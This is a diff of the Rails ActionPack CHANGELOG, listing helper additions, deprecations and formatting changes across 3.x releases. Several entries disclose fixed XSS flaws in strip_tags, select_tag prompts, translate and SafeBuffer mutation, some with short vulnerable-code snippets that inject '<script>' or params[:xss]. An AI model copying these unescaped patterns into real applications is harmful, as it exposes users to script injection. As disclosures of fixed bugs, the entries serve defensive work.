+    from engines. When you load helpers from application and engine Foo, in
+    that order, first rails will load all of the helpers from application,
+    sorted alphabetically and then it will do the same for Foo engine.
+
+    *Piotr Sarnacki*
+
+*   `truncate` now always returns an escaped HTML-safe string. The option `:escape` can be used as
+    false to not escape the result.
+
+    *Li Ellis Gallardo + Rafael Mendonça França*
+
+*   `truncate` now accepts a block to show extra content when the text is truncated. *Li Ellis Gallardo*
+
+*   Add `week_field`, `week_field_tag`, `month_field`, `month_field_tag`, `datetime_local_field`,
+    `datetime_local_field_tag`, `datetime_field` and `datetime_field_tag` helpers. *Carlos Galdino*
+
+*   Add `color_field` and `color_field_tag` helpers. *Carlos Galdino*
+
+*   `assert_generates`, `assert_recognizes`, and `assert_routing` all raise
+    `Assertion` instead of `RoutingError` *David Chelimsky*
+
+*   URL path parameters with invalid encoding now raise ActionController::BadRequest. *Andrew White*
+
+*   Malformed query and request parameter hashes now raise ActionController::BadRequest. *Andrew White*
+
+*   Add `divider` option to `grouped_options_for_select` to generate a separator
+    `optgroup` automatically, and deprecate `prompt` as third argument, in favor
+    of using an options hash. *Nicholas Greenfield*
+
+*   Add `time_field` and `time_field_tag` helpers which render an `input[type="time"]` tag. *Alex Soulim*
+
+*   Removed old text_helper apis for highlight, excerpt and word_wrap *Jeremy Walker*
+
+*   Templates without a handler extension now raises a deprecation warning but still
+    defaults to ERb. In future releases, it will simply return the template contents. *Steve Klabnik*
+
+*   Deprecate `:disable_with` in favor of `:data => { :disable_with => "Text" }` option from `submit_tag`, `button_tag` and `button_to` helpers.
+
+    *Carlos Galdino + Rafael Mendonça França*
+
+*   Remove `:mouseover` option from `image_tag` helper. *Rafael Mendonça França*
+
+*   The `select` method (select tag) forces :include_blank  if `required` is true and
+    `display size` is one and `multiple` is not true. *Angelo Capilleri*
+
+*   Copy literal route constraints to defaults so that url generation know about them.
+    The copied constraints are `:protocol`, `:subdomain`, `:domain`, `:host` and `:port`.
+
+    *Andrew White*
+
+*   `respond_to` and `respond_with` now raise ActionController::UnknownFormat instead
+    of directly returning head 406. The exception is rescued and converted to 406
+    in the exception handling middleware. *Steven Soroka*
+
+*   Allows `assert_redirected_to` to match against a regular expression. *Andy Lindeman*
+
+*   Add backtrace to development routing error page. *Richard Schneeman*
+
+*   Replace `include_seconds` boolean argument with `:include_seconds => true` option
+    in `distance_of_time_in_words` and `time_ago_in_words` signature. *Dmitriy Kiriyenko*
+
+*   Make current object and counter (when it applies) variables accessible when
+    rendering templates with :object / :collection. *Carlos Antonio da Silva*
+
+*   JSONP now uses mimetype application/javascript instead of application/json. *omjokine*
+
+*   Allow to lazy load `default_form_builder` by passing a `String` instead of a constant. *Piotr Sarnacki*
+
+*   Session arguments passed to `process` calls in functional tests are now merged into
+    the existing session, whereas previously they would replace the existing session.
+    This change may break some existing tests if they are asserting the exact contents of
+    the session but should not break existing tests that only assert individual keys.
+
+    *Andrew White*
+
+*   Add `index` method to FormBuilder class. *Jorge Bejar*
+
+*   Remove the leading \n added by textarea on assert_select. *Santiago Pastorino*
+
+*   Changed default value for `config.action_view.embed_authenticity_token_in_remote_forms`
+    to `false`. This change breaks remote forms that need to work also without javascript,
+    so if you need such behavior, you can either set it to `true` or explicitly pass
+    `:authenticity_token => true` in form options
+
+*   Added ActionDispatch::SSL middleware that when included force all the requests to be under HTTPS protocol. *Rafael Mendonça França*
+
+*   Add `include_hidden` option to select tag. With `:include_hidden => false` select with `multiple` attribute doesn't generate hidden input with blank value. *Vasiliy Ermolovich*
+
+*   Removed default `size` option from the `text_field`, `search_field`, `telephone_field`, `url_field`, `email_field` helpers. *Philip Arndt*
+
+*   Removed default `cols` and `rows` options from the `text_area` helper. *Philip Arndt*
+
+*   Adds support for layouts when rendering a partial with a given collection. *serabe*
+
+*   Allows the route helper `root` to take a string argument. For example, `root 'pages#main'`. *bcardarella*
+
+*   Forms of persisted records use always PATCH (via the `_method` hack). *fxn*
+
+*   For resources, both PATCH and PUT are routed to the `update` action. *fxn*
+
+*   Don't ignore `force_ssl` in development. This is a change of behavior - use a `:if` condition to recreate the old behavior.
+
+        class AccountsController < ApplicationController
+          force_ssl :if => :ssl_configured?
+
+          def ssl_configured?
+            !Rails.env.development?
+          end
+        end
+
+    *Pat Allan*
+
+*   Adds support for the PATCH verb:
+      * Request objects respond to `patch?`.
+      * Routes have a new `patch` method, and understand `:patch` in the
+        existing places where a verb is configured, like `:via`.
+      * New method `patch` available in functional tests.
+      * If `:patch` is the default verb for updates, edits are
+        tunneled as PATCH rather than as PUT, and routing acts accordingly.
+      * New method `patch_via_redirect` available in integration tests.
+
+    *dlee*
+
+*   Integration tests support the `OPTIONS` method. *Jeremy Kemper*
+
+*   `expires_in` accepts a `must_revalidate` flag. If true, "must-revalidate"
+    is added to the Cache-Control header. *fxn*
+
+*   Add `date_field` and `date_field_tag` helpers which render an `input[type="date"]` tag *Olek Janiszewski*
+
+*   Adds `image_url`, `javascript_url`, `stylesheet_url`, `audio_url`, `video_url`, and `font_url`
+    to assets tag helper. These URL helpers will return the full path to your assets. This is useful
+    when you are going to reference this asset from external host. *Prem Sichanugrist*
+
+*   Default responder will now always use your overridden block in `respond_with` to render your response. *Prem Sichanugrist*
+
+*   Allow `value_method` and `text_method` arguments from `collection_select` and
+    `options_from_collection_for_select` to receive an object that responds to `:call`,
+    such as a `proc`, to evaluate the option in the current element context. This works
+    the same way with `collection_radio_buttons` and `collection_check_boxes`.
+
+    *Carlos Antonio da Silva + Rafael Mendonça França*
+
+*   Add `collection_check_boxes` form helper, similar to `collection_select`:
+    Example:
+
+        collection_check_boxes :post, :author_ids, Author.all, :id, :name
+        # Outputs something like:
+        <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" />
+        <label for="post_author_ids_1">D. Heinemeier Hansson</label>
+        <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+        <label for="post_author_ids_2">D. Thomas</label>
+        <input name="post[author_ids][]" type="hidden" value="" />
+
+    The label/check_box pairs can be customized with a block.
+
+    *Carlos Antonio da Silva + Rafael Mendonça França*
+
+*   Add `collection_radio_buttons` form helper, similar to `collection_select`:
+    Example:
+
+        collection_radio_buttons :post, :author_id, Author.all, :id, :name
+        # Outputs something like:
+        <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" />
+        <label for="post_author_id_1">D. Heinemeier Hansson</label>
+        <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+        <label for="post_author_id_2">D. Thomas</label>
+
+    The label/radio_button pairs can be customized with a block.
+
+    *Carlos Antonio da Silva + Rafael Mendonça França*
+
+*   check_box with `:form` html5 attribute will now replicate the `:form`
+    attribute to the hidden field as well. *Carlos Antonio da Silva*
+
+*   Turn off verbose mode of rack-cache, we still have X-Rack-Cache to
+    check that info. Closes #5245. *Santiago Pastorino*
+
+*   `label` form helper accepts :for => nil to not generate the attribute. *Carlos Antonio da Silva*
+
+*   Add `:format` option to number_to_percentage *Rodrigo Flores*
+
+*   Add `config.action_view.logger` to configure logger for ActionView. *Rafael Mendonça França*
+
+*   Deprecated ActionController::Integration in favour of ActionDispatch::Integration
+
+*   Deprecated ActionController::IntegrationTest in favour of ActionDispatch::IntegrationTest
+
+*   Deprecated ActionController::PerformanceTest in favour of ActionDispatch::PerformanceTest
+
+*   Deprecated ActionController::AbstractRequest in favour of ActionDispatch::Request
+
+*   Deprecated ActionController::Request in favour of ActionDispatch::Request
+
+*   Deprecated ActionController::AbstractResponse in favour of ActionDispatch::Response
+
+*   Deprecated ActionController::Response in favour of ActionDispatch::Response
+
+*   Deprecated ActionController::Routing in favour of ActionDispatch::Routing
+
+*   check_box helper with :disabled => true will generate a disabled hidden field to conform with the HTML convention where disabled fields are not submitted with the form.
+    This is a behavior change, previously the hidden tag had a value of the disabled checkbox.
+    *Tadas Tamosauskas*
+
+*   `favicon_link_tag` helper will now use the favicon in app/assets by default. *Lucas Caton*
+
+*   `ActionView::Helpers::TextHelper#highlight` now defaults to the
+    HTML5 `mark` element. *Brian Cardarella*
+
+
+## Rails 3.2.8 (Aug 9, 2012) ##
+
+*   There is an XSS vulnerability in the strip_tags helper in Ruby on Rails, the
+    helper doesn't correctly handle malformed html.  As a result an attacker can
+    execute arbitrary javascript through the use of specially crafted malformed
+    html.
+
+    *Marek from Nethemba (www.nethemba.com) & Santiago Pastorino*
+
+*   When a "prompt" value is supplied to the `select_tag` helper, the "prompt" value is not escaped.
+    If untrusted data is not escaped, and is supplied as the prompt value, there is a potential for XSS attacks.
+    Vulnerable code will look something like this:
+    select_tag("name", options, :prompt => UNTRUSTED_INPUT)
+
+    *Santiago Pastorino*
+
+*   Reverted the deprecation of `:confirm`. *Rafael Mendonça França*
+
+*   Reverted the deprecation of `:disable_with`. *Rafael Mendonça França*
+
+*   Reverted the deprecation of `:mouseover` option to `image_tag`. *Rafael Mendonça França*
+
+*   Reverted the deprecation of `button_to_function` and `link_to_function` helpers.
+
+    *Rafael Mendonça França*
+
+
+## Rails 3.2.7 (Jul 26, 2012) ##
+
+*   Do not convert digest auth strings to symbols. CVE-2012-3424
+
+*   Bump Journey requirements to 1.0.4
+
+*   Add support for optional root segments containing slashes
+
+*   Fixed bug creating invalid HTML in select options
+
+*   Show in log correct wrapped keys
+
+*   Fix NumberHelper options wrapping to prevent verbatim blocks being rendered instead of line continuations.
+
+*   ActionController::Metal doesn't have logger method, check it and then delegate
+
+*   ActionController::Caching depends on RackDelegation and AbstractController::Callbacks
+
+
+## Rails 3.2.6 (Jun 12, 2012) ##
+
+*   nil is removed from array parameter values
+
+    CVE-2012-2694
+
+*   Deprecate `:confirm` in favor of `':data => { :confirm => "Text" }'` option for `button_to`, `button_tag`, `image_submit_tag`, `link_to` and `submit_tag` helpers.
+
+    *Carlos Galdino*
+
+*   Allow to use mounted_helpers (helpers for accessing mounted engines) in ActionView::TestCase. *Piotr Sarnacki*
+
+*   Include mounted_helpers (helpers for accessing mounted engines) in ActionDispatch::IntegrationTest by default. *Piotr Sarnacki*
+
+
+## Rails 3.2.5 (Jun 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.4 (May 31, 2012) ##
+
+*   Deprecate old APIs for highlight, excerpt and word_wrap *Jeremy Walker*
+
+*   Deprecate `:disable_with` in favor of `'data-disable-with'` option for `button_to`, `button_tag` and `submit_tag` helpers.
+
+    *Carlos Galdino + Rafael Mendonça França*
+
+*   Deprecate `:mouseover` option for `image_tag` helper. *Rafael Mendonça França*
+
+*   Deprecate `button_to_function` and `link_to_function` helpers. *Rafael Mendonça França*
+
+*   Don't break Haml with textarea newline fix.  GH #393, #4000, #5190, #5191
+
+*   Fix options handling on labels. GH #2492, #5614
+
+*   Added config.action_view.embed_authenticity_token_in_remote_forms to deal
+    with regression from 16ee611fa
+
+*   Set rendered_format when doing render :inline. GH #5632
+
+*   Fix the redirect when it receive blocks with arity of 1. Closes #5677
+
+*   Strip [nil] from parameters hash. Thanks to Ben Murphy for
+    reporting this! CVE-2012-2660
+
+
+## Rails 3.2.3 (March 30, 2012) ##
+
+*   Add `config.action_view.embed_authenticity_token_in_remote_forms` (defaults to true) which allows to set if authenticity token will be included by default in remote forms. If you change it to false, you can still force authenticity token by passing `:authenticity_token => true` in form options *Piotr Sarnacki*
+
+*   Do not include the authenticity token in forms where remote: true as ajax forms use the meta-tag value *DHH*
+
+*   Upgrade rack-cache to 1.2. *José Valim*
+
+*   ActionController::SessionManagement is removed. *Santiago Pastorino*
+
+*   Since the router holds references to many parts of the system like engines, controllers and the application itself, inspecting the route set can actually be really slow, therefore we default alias inspect to to_s. *José Valim*
+
+*   Add a new line after the textarea opening tag. Closes #393 *Rafael Mendonça França*
+
+*   Always pass a respond block from to responder. We should let the responder decide what to do with the given overridden response block, and not short circuit it. *Prem Sichanugrist*
+
+*   Fixes layout rendering regression from 3.2.2. *José Valim*
+
+
+## Rails 3.2.2 (March 1, 2012) ##
+
+*   Format lookup for partials is derived from the format in which the template is being rendered. Closes #5025 part 2 *Santiago Pastorino*
+
+*   Use the right format when a partial is missing. Closes #5025. *Santiago Pastorino*
+
+*   Default responder will now always use your overridden block in `respond_with` to render your response. *Prem Sichanugrist*
+
+*   check_box helper with :disabled => true will generate a disabled hidden field to conform with the HTML convention where disabled fields are not submitted with the form.
+    This is a behavior change, previously the hidden tag had a value of the disabled checkbox.
+    *Tadas Tamosauskas*
+
+
+## Rails 3.2.1 (January 26, 2012) ##
+
+*   Documentation improvements.
+
+*   Allow `form.select` to accept ranges (regression). *Jeremy Walker*
+
+*   `datetime_select` works with -/+ infinity dates. *Joe Van Dyk*
+
+
+## Rails 3.2.0 (January 20, 2012) ##
+
+*   Add `config.action_dispatch.default_charset` to configure default charset for ActionDispatch::Response. *Carlos Antonio da Silva*
+
+*   Deprecate setting default charset at controller level, use the new `config.action_dispatch.default_charset` instead. *Carlos Antonio da Silva*
+
+*   Deprecate ActionController::UnknownAction in favour of AbstractController::ActionNotFound. *Carlos Antonio da Silva*
+
+*   Deprecate ActionController::DoubleRenderError in favour of AbstractController::DoubleRenderError. *Carlos Antonio da Silva*
+
+*   Deprecate method_missing handling for not found actions, use action_missing instead. *Carlos Antonio da Silva*
+
+*   Deprecate ActionController#rescue_action, ActionController#initialize_template_class, and ActionController#assign_shortcuts.
+    These methods were not being used internally anymore and are going to be removed in Rails 4. *Carlos Antonio da Silva*
+
+*   Use a BodyProxy instead of including a Module that responds to
+    close. Closes #4441 if Active Record is disabled assets are delivered
+    correctly *Santiago Pastorino*
+
+*   Rails initialization with initialize_on_precompile = false should set assets_dir *Santiago Pastorino*
+
+*   Add font_path helper method *Santiago Pastorino*
+
+*   Depends on rack ~> 1.4.0 *Santiago Pastorino*
+
+*   Add :gzip option to `caches_page`. The default option can be configured globally using `page_cache_compression` *Andrey Sitnik*
+
+*   The ShowExceptions middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the PATH_INFO rewritten to the status code. *José Valim*
+
+*   Add `button_tag` support to ActionView::Helpers::FormBuilder.
+
+    This support mimics the default behavior of `submit_tag`.
+
+    Example:
+
+        <%= form_for @post do |f| %>
+          <%= f.button %>
+        <% end %>
+
+*   Date helpers accept a new option, `:use_two_digit_numbers = true`, that renders select boxes for months and days with a leading zero without changing the respective values.
+    For example, this is useful for displaying ISO8601-style dates such as '2011-08-01'. *Lennart Fridén and Kim Persson*
+
+*   Make ActiveSupport::Benchmarkable a default module for ActionController::Base, so the #benchmark method is once again available in the controller context like it used to be *DHH*
+
+*   Deprecated implied layout lookup in controllers whose parent had a explicit layout set:
+
+        class ApplicationController
+          layout "application"
+        end
+
+        class PostsController < ApplicationController
+        end
+
+    In the example above, Posts controller will no longer automatically look up for a posts layout.
+
+    If you need this functionality you could either remove `layout "application"` from ApplicationController or explicitly set it to nil in PostsController. *José Valim*
+
+*   Rails will now use your default layout (such as "layouts/application") when you specify a layout with `:only` and `:except` condition, and those conditions fail. *Prem Sichanugrist*
+
+    For example, consider this snippet:
+
+        class CarsController
+          layout 'single_car', :only => :show
+        end
+
+    Rails will use 'layouts/single_car' when a request comes in `:show` action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions.
+
+*   form_for with +:as+ option uses "#{action}_#{as}" as css class and id:
+
+    Before:
+
+        form_for(@user, :as => 'client') # => "<form class="client_new">..."
+
+    Now:
+
+        form_for(@user, :as => 'client') # => "<form class="new_client">..."
+
+    *Vasiliy Ermolovich*
+
+*   Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`. Please look at ActiveRecord::Railtie for an example *José Valim*
+
+*   Allow fresh_when/stale? to take a record instead of an options hash *DHH*
+
+*   Assets should use the request protocol by default or default to relative if no request is available *Jonathan del Strother*
+
+*   Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts *José Valim*
+
+*   You can provide a namespace for your form to ensure uniqueness of id attributes on form elements.
+    The namespace attribute will be prefixed with underscore on the generate HTML id. *Vasiliy Ermolovich*
+
+    Example:
+
+        <%= form_for(@offer, :namespace => 'namespace') do |f| %>
+          <%= f.label :version, 'Version' %>:
+          <%= f.text_field :version %>
+        <% end %>
+
+*   Refactor ActionDispatch::ShowExceptions. The controller is responsible for choosing to show exceptions when `consider_all_requests_local` is false.
+
+    It's possible to override `show_detailed_exceptions?` in controllers to specify which requests should provide debugging information on errors. The default value is now false, meaning local requests in production will no longer show the detailed exceptions page unless `show_detailed_exceptions?` is overridden and set to `request.local?`.
 
 *   Responders now return 204 No Content for API requests without a response body (as in the new scaffold) *José Valim*
 
@@ -62,7 +679,65 @@
     persistent between requests so if you need to manipulate the environment
     for your test you need to do it before the cookie jar is created.
 
-## Rails 3.1.2 (unreleased) ##
+*   ActionController::ParamsWrapper on ActiveRecord models now only wrap
+    attr_accessible attributes if they were set, if not, only the attributes
+    returned by the class method attribute_names will be wrapped. This fixes
+    the wrapping of nested attributes by adding them to attr_accessible.
+
+
+## Rails 3.1.4 (March 1, 2012) ##
+
+*   Skip assets group in Gemfile and all assets configurations options
+    when the application is generated with --skip-sprockets option.
+
+    *Guillermo Iguaran*
+
+*   Use ProcessedAsset#pathname in Sprockets helpers when debugging is on. Closes #3333 #3348 #3361.
+
+    *Guillermo Iguaran*
+
+*   Allow to use asset_path on named_routes aliasing RailsHelper's
+    asset_path to path_to_asset *Adrian Pike*
+
+*   Assets should use the request protocol by default or default to relative if no request is available *Jonathan del Strother*
+
+
+## Rails 3.1.3 (November 20, 2011) ##
+
+*   Downgrade sprockets to ~> 2.0.3. Using 2.1.0 caused regressions.
+
+*   Fix using `translate` helper with a html translation which uses the `:count` option for
+    pluralization.
+
+    *Jon Leighton*
+
+
+## Rails 3.1.2 (November 18, 2011) ##
+
+*   Fix XSS security vulnerability in the `translate` helper method. When using interpolation
+    in combination with HTML-safe translations, the interpolated input would not get HTML
+    escaped. *GH 3664*
+
+    Before:
+
+        translate('foo_html', :something => '<script>') # => "...<script>..."
+
+    After:
+
+        translate('foo_html', :something => '<script>') # => "...&lt;script&gt;..."
+
+    *Sergey Nartimov*
+
+*   Upgrade sprockets dependency to ~> 2.1.0
+
+*   Ensure that the format isn't applied twice to the cache key, else it becomes impossible
+    to target with expire_action.
+
+    *Christopher Meiklejohn*
+
+*   Swallow error when can't unmarshall object from session.
+
+    *Bruno Zanchet*
 
 *   Implement a workaround for a bug in ruby-1.9.3p0 where an error would be raised
     while attempting to convert a template from one encoding to another.
@@ -76,26 +751,36 @@
 
     *Jon Leighton*
 
-## Rails 3.1.1 (unreleased) ##
+*   Ensure users upgrading from 3.0.x to 3.1.x will properly upgrade their flash object in session (issues #3298 and #2509)
+
+
+## Rails 3.1.1 (October 07, 2011) ##
 
 *   javascript_path and stylesheet_path now refer to /assets if asset pipelining
-    is on. [Santiago Pastorino]
+    is on. *Santiago Pastorino*
+
 *   button_to support form option. Now you're able to pass for example
-    'data-type' => 'json'. [ihower]
+    'data-type' => 'json'. *ihower*
+
 *   image_path and image_tag should use /assets if asset pipelining is turned
-    on. Closes #3126 [Santiago Pastorino and christos]
+    on. Closes #3126 *Santiago Pastorino and christos*
+
 *   Avoid use of existing precompiled assets during rake assets:precompile run.
-    Closes #3119 [Guillermo Iguaran]
+    Closes #3119 *Guillermo Iguaran*
+
 *   Copy assets to nondigested filenames too *Santiago Pastorino*
 
 *   Give precedence to `config.digest = false` over the existence of
-    manifest.yml asset digests [christos]
+    manifest.yml asset digests *christos*
+
 *   escape options for the stylesheet_link_tag method *Alexey Vakhov*
 
 *   Re-launch assets:precompile task using (Rake.)ruby instead of Kernel.exec so
-    it works on Windows [cablegram]
-*   env var passed to process shouldn't be modified in process method. [Santiago
-    Pastorino]
+    it works on Windows *cablegram*
+
+*   env var passed to process shouldn't be modified in process method. *Santiago
+    Pastorino*
+
 *   `rake assets:precompile` loads the application but does not initialize
     it.
     To the app developer, this means configuration add in
@@ -110,7 +795,8 @@
 *   Fix Hash#to_query edge case with html_safe strings. *brainopia*
 
 *   Allow asset tag helper methods to accept :digest => false option in order to completely avoid the digest generation.
-    Useful for linking assets from static html files or from emails when the user    could probably look at an older html email with an older asset. [Santiago Pastorino]
+    Useful for linking assets from static html files or from emails when the user could probably look at an older html email with an older asset. *Santiago Pastorino*
+
 *   Don't mount Sprockets server at config.assets.prefix if config.assets.compile is false. *Mark J. Titorenko*
 
 *   Set relative url root in assets when controller isn't available for Sprockets (eg. Sass files using asset_path). Fixes #2435 *Guillermo Iguaran*
@@ -267,6 +953,7 @@
 
 *   ActionDispatch::MiddlewareStack now uses composition over inheritance. It is
     no longer an array which means there may be methods missing that were not    tested.
+
 *   Add an :authenticity_token option to form_tag for custom handling or to omit the token (pass :authenticity_token => false).  *Jakub Kuźma, Igor Wiedler*
 
 *   HTML5 button_tag helper. *Rizwan Reza*
@@ -303,12 +990,102 @@
 *   Add Rack::Cache to the default stack. Create a Rails store that delegates to the Rails cache, so by default, whatever caching layer you are using will be used for HTTP caching. Note that Rack::Cache will be used if you use #expires_in, #fresh_when or #stale with :public => true. Otherwise, the caching rules will apply to the browser only. *Yehuda Katz, Carl Lerche*
 
 
+## Rails 3.0.12 (March 1, 2012) ##
+
+* Fix using `tranlate` helper with a html translation which uses the `:count` option for
+  pluralization.
+
+  *Jon Leighton*
+
+
+## Rails 3.0.11 (November 18, 2011) ##
+
+*   Fix XSS security vulnerability in the `translate` helper method. When using interpolation
+    in combination with HTML-safe translations, the interpolated input would not get HTML
+    escaped. *GH 3664*
+
+    Before:
+
+        translate('foo_html', :something => '<script>') # => "...<script>..."
+
+    After:
+
+        translate('foo_html', :something => '<script>') # => "...&lt;script&gt;..."
+
+    *Sergey Nartimov*
+
+*   Implement a workaround for a bug in ruby-1.9.3p0 where an error would be
+    raised while attempting to convert a template from one encoding to another.
+
+    Please see http://redmine.ruby-lang.org/issues/5564 for details of the bug.
+
+    The workaround is to load all conversions into memory ahead of time, and will
+    only happen if the ruby version is exactly 1.9.3p0. The hope is obviously
+    that the underlying problem will be resolved in the next patchlevel release
+    of 1.9.3.
+
+*   Fix assert_select_email to work on multipart and non-multipart emails as the method stopped working correctly in Rails 3.x due to changes in the new mail gem.
+
+*   Fix url_for when passed a hash to prevent additional options (eg. :host, :protocol) from being added to the hash after calling it.
+
+
+## Rails 3.0.10 (August 16, 2011) ##
+
+*   Fixes an issue where cache sweepers with only after filters would have no
+    controller object, it would raise undefined method controller_name for nil [jeroenj]
+
+*   Ensure status codes are logged when exceptions are raised.
+
+*   Subclasses of OutputBuffer are respected.
+
+*   Fixed ActionView::FormOptionsHelper#select with :multiple => false
+
+*   Avoid extra call to Cache#read in case of a fragment cache hit
+
+
+## Rails 3.0.9 (June 16, 2011) ##
+
+*   json_escape will now return a SafeBuffer string if it receives SafeBuffer string [tenderlove]
+
+*   Make sure escape_js returns SafeBuffer string if it receives SafeBuffer string [Prem Sichanugrist]
+
+*   Fix text helpers to work correctly with the new SafeBuffer restriction [Paul Gallagher, Arun Agrawal, Prem Sichanugrist]
+
+
+## Rails 3.0.8 (June 7, 2011) ##
+
+*   It is prohibited to perform a in-place SafeBuffer mutation [tenderlove]
+
+    The old behavior of SafeBuffer allowed you to mutate string in place via
+    method like `sub!`. These methods can add unsafe strings to a safe buffer,
+    and the safe buffer will continue to be marked as safe.
+
+    An example problem would be something like this:
+
+      <%= link_to('hello world', @user).sub!(/hello/, params[:xss])  %>
+
+    In the above example, an untrusted string (`params[:xss]`) is added to the
+    safe buffer returned by `link_to`, and the untrusted content is successfully
+    sent to the client without being escaped.  To prevent this from happening
+    `sub!` and other similar methods will now raise an exception when they are called on a safe buffer.
+
+    In addition to the in-place versions, some of the versions of these methods which return a copy of the string will incorrectly mark strings as safe. For example:
+
+       <%= link_to('hello world', @user).sub(/hello/, params[:xss]) %>
+
+    The new versions will now ensure that *all* strings returned by these methods on safe buffers are marked unsafe.
+
+    You can read more about this change in http://groups.google.com/group/rubyonrails-security/browse_thread/thread/2e516e7acc96c4fb
+
+*   Fixed github issue #342 with asset paths and relative roots.
+
+
 ## Rails 3.0.7 (April 18, 2011) ##
 
 *   No changes.
 
 
-*   Rails 3.0.6 (April 5, 2011)
+## Rails 3.0.6 (April 5, 2011) ##
 
 *   Fixed XSS vulnerability in `auto_link`.  `auto_link` no longer marks input as
     html safe.  Please make sure that calls to auto_link() are wrapped in a
@@ -497,7 +1274,7 @@
 
 *   Added ActionDispatch::Request#authorization to access the http authentication header regardless of its proxy hiding *DHH*
 
-*   Added :alert, :notice, and :flash as options to ActionController::Base#redirect_to that'll automatically set the proper flash before the redirection [DHH]. Examples:
+*   Added :alert, :notice, and :flash as options to ActionController::Base#redirect_to that'll automatically set the proper flash before the redirection *DHH*. Examples:
 
         flash[:notice] = 'Post was created'
         redirect_to(@post)
@@ -508,7 +1285,6 @@
 
 *   Added ActionController::Base#notice/= and ActionController::Base#alert/= as a convenience accessors in both the controller and the view for flash[:notice]/= and flash[:alert]/= *DHH*
 
-
 *   Introduce grouped_collection_select helper.  #1249 *Dan Codeape, Erik Ostrom*
 
 *   Make sure javascript_include_tag/stylesheet_link_tag does not append ".js" or ".css" onto external urls. #1664 *Matthew Rudy Jacobs*
@@ -548,19 +1324,19 @@
 
 *   Make the form_for and fields_for helpers support the new Active Record nested update options.  #1202 *Eloy Duran*
 
-  		<% form_for @person do |person_form| %>
+      <% form_for @person do |person_form| %>
         ...
         <% person_form.fields_for :projects do |project_fields| %>
           <% if project_fields.object.active? %>
             Name: <%= project_fields.text_field :name %>
           <% end %>
         <% end %>
-  		<% end %>
+      <% end %>
 
 
 *   Added grouped_options_for_select helper method for wrapping option tags in optgroups. #977 *Jon Crawford*
 
-*   Implement HTTP Digest authentication. #1230 [Gregg Kellogg, Pratik Naik] Example :
+*   Implement HTTP Digest authentication. #1230 *Gregg Kellogg, Pratik Naik* Example :
 
     class DummyDigestController < ActionController::Base
         USERS = { "lifo" => 'world' }
@@ -598,7 +1374,7 @@
 
 *   Fixed the AssetTagHelper cache to use the computed asset host as part of the cache key instead of just assuming the its a string #1299 *DHH*
 
-*   Make ActionController#render(string) work as a shortcut for render :file/:template/:action => string. [#1435] [Pratik Naik] Examples:
+*   Make ActionController#render(string) work as a shortcut for render :file/:template/:action => string. #1435 *Pratik Naik* Examples:
 
     \# Instead of render(:action => 'other_action')
     render('other_action') # argument has no '/'
@@ -630,7 +1406,7 @@
 
 *   Remove deprecated ActionController::Base#assign_default_content_type_and_charset
 
-*   Changed the default of ActionView#render to assume partials instead of files when not given an options hash [David Heinemeier Hansson]. Examples:
+*   Changed the default of ActionView#render to assume partials instead of files when not given an options hash *DHH*. Examples:
 
         # Instead of <%= render :partial => "account" %>
         <%= render "account" %>
@@ -688,7 +1464,7 @@
 
 *   Fix incorrect closing CDATA delimiter and that HTML::Node.parse would blow up on unclosed CDATA sections *packagethief*
 
-*   Added stale? and fresh_when methods to provide a layer of abstraction above request.fresh? and friends [David Heinemeier Hansson]. Example:
+*   Added stale? and fresh_when methods to provide a layer of abstraction above request.fresh? and friends *DHH*. Example:
 
         class ArticlesController < ApplicationController
           def show_with_respond_to_block
@@ -722,7 +1498,7 @@
         end
 
 
-*   Added inline builder yield to atom_feed_helper tags where appropriate [Sam Ruby]. Example:
+*   Added inline builder yield to atom_feed_helper tags where appropriate *Sam Ruby*. Example:
 
         entry.summary :type => 'xhtml' do |xhtml|
           xhtml.p pluralize(order.line_items.count, "line item")
@@ -744,7 +1520,7 @@
 
 *   Changed BenchmarkHelper#benchmark to report in milliseconds *David Heinemeier Hansson*
 
-*   Changed logging format to be millisecond based and skip misleading stats [David Heinemeier Hansson]. Went from:
+*   Changed logging format to be millisecond based and skip misleading stats *DHH*. Went from:
 
         Completed in 0.10000 (4 reqs/sec) | Rendering: 0.04000 (40%) | DB: 0.00400 (4%) | 200 OK [http://example.com]
 
@@ -828,7 +1604,7 @@
 
 *   Deprecated TemplateHandler line offset *Josh Peek*
 
-*   Allow caches_action to accept cache store options. #416. [José Valim]. Example:
+*   Allow caches_action to accept cache store options. #416. *José Valim*. Example:
 
     caches_action :index, :redirected, :if => Proc.new { |c| !c.request.format.json? }, :expires_in => 1.hour
 
@@ -858,7 +1634,7 @@
 
 *   Replaced TemplateFinder abstraction with ViewLoadPaths *Josh Peek*
 
-*   Added block-call style to link_to [Sam Stephenson/David Heinemeier Hansson]. Example:
+*   Added block-call style to link_to *Sam Stephenson/David Heinemeier Hansson*. Example:
 
         <% link_to(@profile) do %>
           <strong><%= @profile.name %></strong> -- <span>Check it out!!</span>
@@ -1081,7 +1857,7 @@
 
 *   Added OPTIONS to list of default accepted HTTP methods #10449 *holoway*
 
-*   Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 [Cheah Chu Yeow]. Example:
+*   Added option to pass proc to ActionController::Base.asset_host for maximum configurability #10521 *Cheah Chu Yeow*. Example:
 
         ActionController::Base.asset_host = Proc.new { |source|
           if source.starts_with?('/images')
@@ -1126,7 +1902,7 @@
 
 *   Update to Prototype -r8232.  *sam*
 
-*   Make sure the optimisation code for routes doesn't get used if :host, :anchor or :port are provided in the hash arguments. [pager, Michael Koziarski] #10292
+*   Make sure the optimisation code for routes doesn't get used if :host, :anchor or :port are provided in the hash arguments. *pager, Michael Koziarski* #10292
 
 *   Added protection from trailing slashes on page caching #10229 *devrieda*
 
@@ -1298,9 +2074,9 @@
 
 *   Don't warn when a path segment precedes a required segment. Closes #9615. *Nicholas Seckar*
 
-*   Fixed CaptureHelper#content_for to work with the optional content parameter instead of just the block #9434 [sandofsky/wildchild].
+*   Fixed CaptureHelper#content_for to work with the optional content parameter instead of just the block #9434 *sandofsky/wildchild*.
 
